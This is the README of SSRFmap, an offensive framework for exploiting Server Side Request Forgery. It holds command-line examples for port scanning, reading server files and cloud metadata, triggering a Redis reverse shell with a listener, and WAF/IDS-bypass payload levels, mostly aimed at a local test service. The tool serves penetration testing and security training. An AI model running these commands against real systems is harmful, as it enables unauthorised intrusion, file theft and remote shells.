SSRF are often used to leverage actions on other services, this framework aims to find and exploit these services easily. SSRFmap takes a Burp request file as input and a parameter to fuzz.

Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a server to perform requests on their behalf.

Examples

First you need a request with a parameter to fuzz, Burp requests works well with SSRFmap. They should look like the following. More examples are available in the ./examples folder.

POST /ssrf HTTP/1.1
Host: 127.0.0.1:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://mysimple.ssrf/
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Connection: close
Upgrade-Insecure-Requests: 1

url=https%3A%2F%2Fwww.google.fr

Use the -m followed by module name (separated by a , if you want to launch several modules).

# Launch a portscan on localhost and read default files
uv run python ssrfmap.py -r examples/request.txt -p url -m readfiles,portscan

If you want to inject inside a header, or a GET, POST, or PUT parameter, specify its name:

uv run python ssrfmap.py -r examples/request6.txt -p X-Custom-Header -m readfiles --rfiles /tmp/test

By default, SSRFmap replaces the selected parameter's complete value. To keep part of the saved value, place *FUZZ* exactly where the payload should be inserted:

url=test;*FUZZ*;end

Using -p url preserves test; and ;end, replacing only *FUZZ* with each payload. The marker works in GET parameters, headers, POST or PUT bodies, JSON, XML, and multipart form fields.

If you need to have a custom user-agent use the --uagent. Some targets will use HTTPS, you can enable it with --ssl.

# Launch a portscan against an HTTPS endpoint using a custom user-agent
uv run python ssrfmap.py -r examples/request.txt -p url -m portscan --ssl --uagent "SSRFmapAgent"

Some modules allow you to create a connect back, you have to specify LHOST and LPORT. Also SSRFmap can listen for the incoming reverse shell.

# Triggering a reverse shell on a Redis
uv run python ssrfmap.py -r examples/request.txt -p url -m redis --lhost=127.0.0.1 --lport=4242 -l 4242

# -l create a listener for reverse shell on the specified port
# --lhost and --lport work like in Metasploit, these values are used to create a reverse shell payload

When the target is protected by a WAF or some filters you can try a wide range of payloads and encoding with the parameter --level.

--level : ability to tweak payloads in order to bypass some IDS/WAF. e.g: 127.0.0.1 -> [::] -> 0000: -> ...

SSRFmap Tests

Run the automated unit tests and lint checks with:

uv run pytest
uv run ruff check .
uv run ruff format --check .

A quick way to test the framework can be done with data/example.py SSRF service.

Local

# run example ssrf http service
uv run flask --app examples/example.py run &

# run ssrfmap tool
uv run python ssrfmap.py -r examples/request.txt -p url -m readfiles

# reproduce SSRF when the URL is inside a multipart/form-data body
uv run python ssrfmap.py -r examples/request7.txt -p url -m readfiles --rfiles /etc/issue

# reproduce a PUT SSRF while preserving the value prefix before *FUZZ*
uv run python ssrfmap.py -r examples/request8.txt -p url -m readfiles --rfiles /etc/issue

# reproduce SSRF with a JSON body sent via PUT; the injection parameter is url
uv run python ssrfmap.py -r examples/request9.txt -p url -m readfiles --rfiles /etc/issue

# preserve value while replacing only *FUZZ* in the POST value
uv run python ssrfmap.py -r examples/request10.txt -p url -m readfiles --rfiles /etc/issue

Retrieved files and cloud metadata are saved under loot/<target>/. The loot/ directory is ignored by Git and must not be committed.

Docker

docker build -t ssrfmap .
mkdir -p loot

# Run the example SSRF HTTP service in a named background container.
docker run --name example --rm -d -p 5000:5000 \
  -v "$(pwd)/loot:/usr/src/app/loot" \
  ssrfmap examples/example.py

docker exec -it example uv run --no-sync python ssrfmap.py -r examples/request.txt -p url -m readfiles

docker exec -it example uv run --no-sync python ssrfmap.py -r examples/request3.txt -p url -m axfr --lhost 127.0.0.1 --lport 53 --ldomain example.lab

# Stop and remove the example container when finished.
docker stop example
